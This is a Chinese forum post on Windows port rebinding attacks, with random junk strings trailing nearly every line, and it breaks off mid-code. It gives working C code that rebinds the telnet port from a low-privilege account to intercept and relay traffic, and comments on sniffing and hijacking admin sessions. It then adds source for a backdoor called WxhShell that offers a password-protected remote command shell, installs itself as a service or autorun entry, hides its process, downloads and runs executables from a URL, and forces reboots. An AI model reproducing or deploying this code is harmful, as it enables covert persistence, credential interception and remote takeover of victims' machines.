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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E\)eu1Hw4B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^E>CGGS4  
H*e'Cs/  
  saddr.sin_family = AF_INET; {LE&ylE  
"Q+83adY4x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s<T?pH  
 ((DzUyK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X=p"5hhfn  
c^I0y!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #] KgUc5B  
8IY19>4'5J  
  这意味着什么?意味着可以进行如下的攻击: yOHXY&  
3" Vd==oK~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e(\I_  
'Am-vhpm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rjojG59U>  
fu\s`W6f&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iL?iz?+.%@  
(fk5'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "-i#BjZl/  
}HZ{(?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5vZ#b\;#V  
EO"C8z'al  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p6 xPheD  
?F$6;N6x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BD;H   
zQuM !.  
  #include H30OUrD  
  #include @Jv# fr  
  #include #V 43=  
  #include    gT1P*N;v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |'hLa  
  int main() jMpa?Jp1  
  { SN]LeXesS  
  WORD wVersionRequested; #1Z7&#R/  
  DWORD ret; -l*A  
  WSADATA wsaData; \aSz2lxEHn  
  BOOL val; we]>(|  
  SOCKADDR_IN saddr; o42`z>~  
  SOCKADDR_IN scaddr; Pern*x9$  
  int err; {7#03k  
  SOCKET s; WfVMdwz=  
  SOCKET sc; h W.2p+  
  int caddsize; C|e+0aW  
  HANDLE mt; `1'5j "v  
  DWORD tid;   Lar r}o=  
  wVersionRequested = MAKEWORD( 2, 2 ); ^Vo"fI`=C  
  err = WSAStartup( wVersionRequested, &wsaData ); 12gw#J/)9h  
  if ( err != 0 ) { W,NL*($^  
  printf("error!WSAStartup failed!\n"); E/ O5e(h  
  return -1; q.oLmX  
  } @FX{M..  
  saddr.sin_family = AF_INET; @phN|;?  
   pieT'mA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E <@\>y.[  
.hz2&9Ow  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h[U7!aM  
  saddr.sin_port = htons(23); j@P5(3r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Di.;<v#FL  
  { %Y',|+Arx  
  printf("error!socket failed!\n"); z}APR@?`n8  
  return -1; %8D?$v"#Z  
  } sc xLB;  
  val = TRUE; ?y_awoBd1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ba&o;BLUy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BlaJl[Piv  
  { B7 c[ 4  
  printf("error!setsockopt failed!\n"); 1xC`ZhjcD  
  return -1; J:};n@<  
  } {%7<"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~I$}#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =R9*;6?N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8-A|C< "  
w6U @tW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #O|lfl>}  
  { 8ui=2k(  
  ret=GetLastError(); bF6gBM@*  
  printf("error!bind failed!\n"); S:Xs '0K_  
  return -1; (Jpm KO  
  } aL )Hv k:  
  listen(s,2); |Ylg$?,9*  
  while(1) YN^jm  
  { oFyeH )!  
  caddsize = sizeof(scaddr); P`2&*2,  
  //接受连接请求 zPBfiK_hV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xiju"Cup"  
  if(sc!=INVALID_SOCKET) gb_X?j%p7  
  { wP`sXPSmIu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  coAW9=o}  
  if(mt==NULL) PW^ 8;[\QP  
  { Z3`2-r_=  
  printf("Thread Creat Failed!\n"); 9HKf^+';n  
  break; 3kw}CaZ6  
  } xMsGs  
  } \^s2W:c  
  CloseHandle(mt); 1*c>I@I;  
  } |Mlh;  
  closesocket(s); )k~1,  
  WSACleanup(); <ge}9pU)o^  
  return 0; wT% "5:  
  }   `]&*`9IK{  
  DWORD WINAPI ClientThread(LPVOID lpParam) uQ1jwYK`7  
  { T9y768%  
  SOCKET ss = (SOCKET)lpParam; uN(b.5y  
  SOCKET sc; L]>4Nd  
  unsigned char buf[4096]; d#7]hF  
  SOCKADDR_IN saddr; w`Xg%*]}  
  long num; d5' )6  
  DWORD val; AA.Ys89V  
  DWORD ret; x\]z j!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SJ[AiHR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6`W|V+6|7  
  saddr.sin_family = AF_INET; TU-c9"7M~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MA"#rOcP  
  saddr.sin_port = htons(23); nrbazyKm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2:~cJk{  
  { /=ACdJ  
  printf("error!socket failed!\n"); Wxk; g  
  return -1; 2YluJ:LN  
  } ex0oAt^  
  val = 100; `{L{wJ:&a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z fqQ {_  
  { L6kZ2-6  
  ret = GetLastError(); PC0HH  
  return -1; O(Td:Zdp  
  } '2xcce#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wzbz }P>  
  { i :EO(`  
  ret = GetLastError(); c _p[yS  
  return -1; o oDdV >  
  } #!1IP~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IadK@?X6j  
  { BDp:9yau  
  printf("error!socket connect failed!\n"); rFO_fIJno  
  closesocket(sc); 9nO(xJ"e4  
  closesocket(ss); 'tut4SwC  
  return -1; pMDH  
  } {70 Ou}*  
  while(1) ~K%k 0kT  
  { Md?acWE*L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c+wuC,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WN1Jm:5YV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]'6'<S  
  num = recv(ss,buf,4096,0); K7S754m  
  if(num>0) O&52o]k5l  
  send(sc,buf,num,0); d[" x= [f  
  else if(num==0) ]qMH=>pOsj  
  break; )*Vj3Jx  
  num = recv(sc,buf,4096,0); Eh {up  
  if(num>0) *F|i&2  
  send(ss,buf,num,0); /Go>5 B>  
  else if(num==0) l_ZO^E~D_  
  break; v10mDr  
  } r:.6"VQu}  
  closesocket(ss); U(P:Je  
  closesocket(sc); Z$1.^H.Db  
  return 0 ; )ph30B  
  } b24di  
wFp~  
` %l&zwj>  
========================================================== 7x%S](m%  
[' ?^>jfr  
下边附上一个代码,,WXhSHELL tz"5+uuu  
(;C$gnr.C  
========================================================== 2c"/QT  
'1Y<RD>x  
#include "stdafx.h" T<XfZZ)l<`  
8F\~Wz7K  
#include <stdio.h> m'3OGvd  
#include <string.h> ZRX^^yN  
#include <windows.h> f!mE1,eBEe  
#include <winsock2.h> ruzMag)  
#include <winsvc.h> /G{&[X<4U  
#include <urlmon.h> 8NxUx+]  
4bPqmEE  
#pragma comment (lib, "Ws2_32.lib") Kq8 (d`g}  
#pragma comment (lib, "urlmon.lib") sC!1B6:  
>,kL p|gA  
#define MAX_USER   100 // 最大客户端连接数 4v0dd p  
#define BUF_SOCK   200 // sock buffer KUlB2Fqi  
#define KEY_BUFF   255 // 输入 buffer Ko4)0&  
0 -!?W  
#define REBOOT     0   // 重启 `S5>0r5[  
#define SHUTDOWN   1   // 关机 g%+ql[(4  
GA(OK-WUd  
#define DEF_PORT   5000 // 监听端口 4P`PmQ=GQh  
8I<_w4fC  
#define REG_LEN     16   // 注册表键长度 i0VhG :O;  
#define SVC_LEN     80   // NT服务名长度 #dHr&1(  
$  9S>I'  
// 从dll定义API h\/^Aa0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /L)?> tg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qwL 0~I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nz3zsP$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2;3x,<Cg  
M\9at\$  
// wxhshell配置信息 l#tS.+B7  
struct WSCFG { "L ^TT2  
  int ws_port;         // 监听端口 UB5}i('L  
  char ws_passstr[REG_LEN]; // 口令 1d=0q?nH  
  int ws_autoins;       // 安装标记, 1=yes 0=no j~X j  
  char ws_regname[REG_LEN]; // 注册表键名 6.k^m&-A  
  char ws_svcname[REG_LEN]; // 服务名 qw6EPC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UIO6|*ka  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7ytm .lU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .L~fFns/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n'! -Pv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O)Xd3w'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k,a,h^{}j  
Lr K9F^c  
};  =|^X$H  
q2[+-B)m  
// default Wxhshell configuration (qNco8QKu3  
struct WSCFG wscfg={DEF_PORT, U p_>y>x  
    "xuhuanlingzhe", Ngn\nkf  
    1, I/u'bDq  
    "Wxhshell", #Y/97_2 xa  
    "Wxhshell", I[tAT[ <  
            "WxhShell Service", >&*6Fqd  
    "Wrsky Windows CmdShell Service", 0Ei\VVK>  
    "Please Input Your Password: ", LBW.*PHW  
  1, z~GVvgd  
  "http://www.wrsky.com/wxhshell.exe", tVC@6Z$  
  "Wxhshell.exe" ^nG1/}  
    }; J& 1X  
;+S2h-4  
// 消息定义模块 plzE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _JfJ%YXy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zfk'>_'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =4YbVA+(  
char *msg_ws_ext="\n\rExit."; j:3A;r\  
char *msg_ws_end="\n\rQuit."; _Cu[s?,kS  
char *msg_ws_boot="\n\rReboot..."; OI)&vQ5k  
char *msg_ws_poff="\n\rShutdown..."; 3N(8| wh  
char *msg_ws_down="\n\rSave to "; gn-=##fT:i  
d)`nxnbMeM  
char *msg_ws_err="\n\rErr!"; \9dz&H  
char *msg_ws_ok="\n\rOK!"; trID#DT~  
% <8K^|w  
char ExeFile[MAX_PATH]; ^hQ:A4@q  
int nUser = 0; ^G ]KE8  
HANDLE handles[MAX_USER]; c@0l-R{q  
int OsIsNt; sV9{4T~#|  
O JZ!|J8?  
SERVICE_STATUS       serviceStatus; TKj/6Jz|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u i s:\Uc  
},?-$eyX  
// 函数声明 7H8GkuO  
int Install(void); O^QR;<t'  
int Uninstall(void); P^'>dOI0w  
int DownloadFile(char *sURL, SOCKET wsh); 9+WY@du+  
int Boot(int flag); *Y| lO  
void HideProc(void); Bbn832iMUY  
int GetOsVer(void); #o(?g-3  
int Wxhshell(SOCKET wsl); N[|by}@n  
void TalkWithClient(void *cs); h$#4ebp  
int CmdShell(SOCKET sock); (.jO:#eE%  
int StartFromService(void); I v 80,hW  
int StartWxhshell(LPSTR lpCmdLine); z|t.y.JX  
lW{I`r\]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *so6]+)cU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xm_Ub>N5  
=RCfibT!C  
// 数据结构和表定义 ; /6:lL  
SERVICE_TABLE_ENTRY DispatchTable[] = *~\;&G29Y  
{ @LwVmR |{  
{wscfg.ws_svcname, NTServiceMain}, %8bFQNd  
{NULL, NULL} `Gy>tD.#V-  
}; XnNOj>!  
7LyV`6{70  
// 自我安装 cOj +}Hz58  
int Install(void) V^/h;/! ^  
{ $G^H7|PzdC  
  char svExeFile[MAX_PATH]; \rw'QAi8r  
  HKEY key; cG~_EX$  
  strcpy(svExeFile,ExeFile); vZ1D3ytfG  
s5_1}KKCs  
// 如果是win9x系统,修改注册表设为自启动 HnH2u;  
if(!OsIsNt) { BMtYM{S6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QrrZF.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >o=axZNa  
  RegCloseKey(key); (_s!,QUe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D 9@<#2-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |r<.R>  
  RegCloseKey(key); $w2[5|^S  
  return 0; juve9HaW  
    } Z(Ls#hp  
  } Px^<2Q%Fs  
} Yc|-sEK/  
else { b_)QBE9  
{4V:[*3  
// 如果是NT以上系统,安装为系统服务 (<5'ceF )X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B8BY3~}]  
if (schSCManager!=0) ]%ZjD  
{ dxae2 t V  
  SC_HANDLE schService = CreateService )nbyV a  
  ( @eG#%6">  
  schSCManager, ^YB\\a9  
  wscfg.ws_svcname, T^f&58{ 7  
  wscfg.ws_svcdisp, 0X}w[^f  
  SERVICE_ALL_ACCESS, !Cv<>_N).  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [8om9 Z3  
  SERVICE_AUTO_START, R,(+NT$  
  SERVICE_ERROR_NORMAL, ;r2b@x:<_  
  svExeFile, CM@"lV_  
  NULL, 0lJBtk9wn  
  NULL, N|^!"/  
  NULL, i >/@]2  
  NULL, st1M.}  
  NULL ;#Crh}~  
  ); $7k04e@ ]  
  if (schService!=0) QtO[g  
  { = -a?oH-  
  CloseServiceHandle(schService); y+~Aw"J}  
  CloseServiceHandle(schSCManager); +$pO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O+3D 5*  
  strcat(svExeFile,wscfg.ws_svcname); (t"YoWA#m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C9^elcdv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) Sh;UW  
  RegCloseKey(key); Qg8eq_m(  
  return 0; U%S NROj  
    } O.m.]%URW  
  } 0^-b}  
  CloseServiceHandle(schSCManager); iaq:5||,  
} Ug[F3J|Mu  
} *^&iw$Qx3  
36D,el In  
return 1; r:S5x.P2  
} 5D q{"@E  
r0XGGLFuZl  
// 自我卸载 T J"{nB  
int Uninstall(void) :[$i~V  
{ *TMM:w|1  
  HKEY key; @tU>~y{E  
XQ?)  
if(!OsIsNt) { >+W?!9[p:2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v |hKf6  
  RegDeleteValue(key,wscfg.ws_regname); =*O9)$b  
  RegCloseKey(key); O'?lW~CD.>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M3xi 0/.  
  RegDeleteValue(key,wscfg.ws_regname); oU{-B$w  
  RegCloseKey(key); 8i+jFSZ$  
  return 0; C^ k3*N  
  } e1Z;\U$&.  
} # xE>]U  
} 'XjHB!!hU  
else { J1wGK|F~  
PeR<FSF ,i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }Q,C;!'"  
if (schSCManager!=0) r|sy_Sk/{  
{ @%okaj#IO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c9TkIe  
  if (schService!=0) >5YYij5Aj  
  { s!zr>N"  
  if(DeleteService(schService)!=0) { @zpHem dB  
  CloseServiceHandle(schService); m0K2p~  
  CloseServiceHandle(schSCManager); uc `rt"  
  return 0; ieK'<%dxF  
  } -1Ki7|0,  
  CloseServiceHandle(schService); z@40 g)R2A  
  } SZ1pf#w!  
  CloseServiceHandle(schSCManager); _[6+FdS],  
} os0"haOI9h  
} 'G By^hj?  
k1  txY  
return 1; i2Iu 2  
} sZ(Q4)r  
?_`P;}4#  
// 从指定url下载文件 n ;fTx  
int DownloadFile(char *sURL, SOCKET wsh) .M#>@~XR  
{ &qj&WfrB,  
  HRESULT hr; E!]rh,mYK  
char seps[]= "/"; :j!_XMyT:  
char *token; wz2)seZY  
char *file; {s^n|b}  
char myURL[MAX_PATH]; So0,)  
char myFILE[MAX_PATH]; W!Os ci  
kO O~%|1CP  
strcpy(myURL,sURL); O#ajoE  
  token=strtok(myURL,seps); 0DjBqh$  
  while(token!=NULL) *xX0]{49q  
  { X([n>w  
    file=token; /t2 <OU9  
  token=strtok(NULL,seps); 4rCqN.J  
  } e2H'uMy;&  
XT;IEZQZ  
GetCurrentDirectory(MAX_PATH,myFILE); 7UnO/K7oB.  
strcat(myFILE, "\\"); v?iH}7zb%Q  
strcat(myFILE, file); CX(yrP6;  
  send(wsh,myFILE,strlen(myFILE),0); `E%d$  
send(wsh,"...",3,0); x[<#mt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^.aEKr  
  if(hr==S_OK) oHGf |  
return 0; *v-xC5L1\  
else E;*TRr><  
return 1; $+yQ48Wq  
=(uy':Dbn*  
} 1 jd=R7  
9U%}"uE  
// 系统电源模块 BJ;cF"Kp  
int Boot(int flag) T%xL=STJNy  
{ # SOj4W  
  HANDLE hToken; >@\?\!Go  
  TOKEN_PRIVILEGES tkp; e(5Px!B  
^ C#bW <T  
  if(OsIsNt) { *fyEw\`a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P=hf/jOv9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gf8U &;  
    tkp.PrivilegeCount = 1; P bC>v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }Z%{QJ$z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YV+dUvz  
if(flag==REBOOT) { s%re>)=|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *" +cP!  
  return 0; rb4g<f|  
} "pJ EzC  
else { N>#P 1!eP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iV$75Atk  
  return 0; ))-M+CA  
} :re(khZq#  
  } (B4 A$t  
  else { >LZ)<-Mk  
if(flag==REBOOT) { 00 ,j neF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ty8!"-V1  
  return 0; JH,fg K+[  
} "!eT  
else { nqW:P$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b-gVRf#F  
  return 0; Ol^EQLO  
} 833t0Ml1A/  
} mqxy(zS]  
W- B[_  
return 1; Fi}rv[`XY[  
} yM~D.D3H  
!!pi\J?sk  
// win9x进程隐藏模块 gDBQ\vM8  
void HideProc(void) > %*X2'^  
{ + {dIs  
DccsVR`7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q.Mck9R7  
  if ( hKernel != NULL ) 9`VF [* 9  
  { VZ!$'??  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u$^` hzfI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jiD8|%}v  
    FreeLibrary(hKernel); a#j^gu$m  
  } xJ.!Q)[  
q/G5aO*  
return; CzbNG^+  
} +u)$o  
PA[Rhoit,  
// 获取操作系统版本 s&hP^tKT  
int GetOsVer(void) 'Z9F0l"Nr  
{ Y3&ecEE  
  OSVERSIONINFO winfo; F'Vl\qPt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sM_e_e  
  GetVersionEx(&winfo); U Bg_b?k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *a.*Ha  
  return 1; kV<)>Gs  
  else )SLs  [  
  return 0; a VMFjkW  
} \5_^P{p7<  
(LPc\\Vv  
// 客户端句柄模块 W.<<azi  
int Wxhshell(SOCKET wsl) _QCI< |A  
{ K Hc+  
  SOCKET wsh; 0_.hU^fP  
  struct sockaddr_in client; t fQq3#  
  DWORD myID; (HxF\#r?  
^%^0x'"  
  while(nUser<MAX_USER) 9jO+ew  
{ U$Z}<8  
  int nSize=sizeof(client); oa7Hx<Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MPc=cLv  
  if(wsh==INVALID_SOCKET) return 1; uwzT? C A6  
B\yq% m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); znRhQ+8;!  
if(handles[nUser]==0) g>CQO,s;w  
  closesocket(wsh); M*uG`Eo&  
else hglt D8,  
  nUser++; 1i2w<VG1  
  } h!]A(T\J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u{z{3fW_  
'kK%sE   
  return 0; oPBjsQ  
} x=)$sD-3  
 (La  
// 关闭 socket _XPc0r:?>  
void CloseIt(SOCKET wsh) u&bU !ZI  
{ bc-)y3gHU  
closesocket(wsh); vL0Ol -Vt  
nUser--; :Aw VeX@  
ExitThread(0); dG+xr!  
} *@^0xz{\z  
zBfBYhS-  
// 客户端请求句柄 [t'"4  
void TalkWithClient(void *cs) \:7EKzQ  
{ * vD<6qf  
P!EX;+7+x  
  SOCKET wsh=(SOCKET)cs; g7-K62bb  
  char pwd[SVC_LEN]; ^Quy64M  
  char cmd[KEY_BUFF]; RJD3o_("K  
char chr[1]; U4JN,`p{  
int i,j; a/fYD2uNo  
_{%H*PxTn=  
  while (nUser < MAX_USER) { 8E{>czF"  
PMcyQ2R->  
if(wscfg.ws_passstr) { A\Gw+l<h,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RwWQ$Eb_s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lla96\R  
  //ZeroMemory(pwd,KEY_BUFF); " cg>g/  
      i=0; <ZEA&:p  
  while(i<SVC_LEN) { AtI,& S#{  
yW 3h_08  
  // 设置超时 0b 'R5I.M  
  fd_set FdRead; <Vb{QOgc;  
  struct timeval TimeOut; f -5ZXpWs'  
  FD_ZERO(&FdRead); QZol( 2~Y  
  FD_SET(wsh,&FdRead); D.?gV_  
  TimeOut.tv_sec=8; '-=?lyKv  
  TimeOut.tv_usec=0; I4'j_X t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %+~0+ev7r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +L6d$+  
"?SnA +)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v},sWjv  
  pwd=chr[0]; ZtDpCl_  
  if(chr[0]==0xd || chr[0]==0xa) { \ :.p8`  
  pwd=0; D5x^O2  
  break; ,PY e7c  
  } g:yK/1@Hk}  
  i++; 9 pn1d.  
    } It[~0?+  
FBsw\P5w  
  // 如果是非法用户,关闭 socket 0'uj*Y{L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hkG<I';M?M  
} gN%R-e0  
mf#oa~_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WyP1"e^ 9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZUycJ-[  
[aC(Ga}  
while(1) { }- Sr@bE  
RiklwR#~r/  
  ZeroMemory(cmd,KEY_BUFF); \N30SG ?o  
?AE%N.rnsi  
      // 自动支持客户端 telnet标准   x& S>Mr  
  j=0; {$^|^n5j  
  while(j<KEY_BUFF) { v]v f(]""  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mD! imq%=  
  cmd[j]=chr[0]; _ sd?l  
  if(chr[0]==0xa || chr[0]==0xd) { CfU )+20  
  cmd[j]=0; `0D+x  
  break; novZ<?7 5;  
  } 6c:$[owC  
  j++; ?9:\1)]  
    } ?jbam! A  
W2RS G~|  
  // 下载文件 R[QE:#hT  
  if(strstr(cmd,"http://")) { rk|6!kry  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0W)_5f&  
  if(DownloadFile(cmd,wsh)) n !QjptQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N@}U;x}  
  else >:=TS"}yS}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2r,fF<WQ  
  } 15COwc*k  
  else { ?4_;9MkN  
_[ x(p6Xp  
    switch(cmd[0]) { 8'y|cF%U  
  8Bhng;jX  
  // 帮助 u8*0r{kOH  
  case '?': { r"+ WUU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kcle|B  
    break; ;1KhUf;&F  
  } 3; A1[E6K  
  // 安装 y$ WS;#  
  case 'i': { jVDNThm+  
    if(Install()) 1na[=Q2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E] [DVY  
    else bpkn[K"(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^P[*yf  
    break; UxW~yk  
    } 7 ?Fl [FW$  
  // 卸载 ;.Kzc3yz}  
  case 'r': { v[x`I;  
    if(Uninstall()) NoMC* ",b>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2}NfR8 N  
    else M`(xAVl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^JTfRZ :a  
    break; ?@~FT1"6G  
    } f*Kipgp  
  // 显示 wxhshell 所在路径 {1o=/&  
  case 'p': { }V 1sY^C  
    char svExeFile[MAX_PATH]; 0t) IW D  
    strcpy(svExeFile,"\n\r"); fqcyCu7Ep  
      strcat(svExeFile,ExeFile); hm& ~6rB  
        send(wsh,svExeFile,strlen(svExeFile),0); ZrTq)BZ  
    break; /<mc~S7  
    } \sk,3b-&'  
  // 重启 [-l^,,E  
  case 'b': { Uc4r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J(Bn  n  
    if(Boot(REBOOT)) '&"7(8E} *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V #=N?p  
    else { T/H*Bo *=5  
    closesocket(wsh); 4ngiad6bR  
    ExitThread(0); Ct B> s7  
    } KT3[{lr  
    break; `]%{0 Rx  
    } ^3e l-dZ  
  // 关机 ,yB-jk?  
  case 'd': { D!:Qy@Zw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b c+' n  
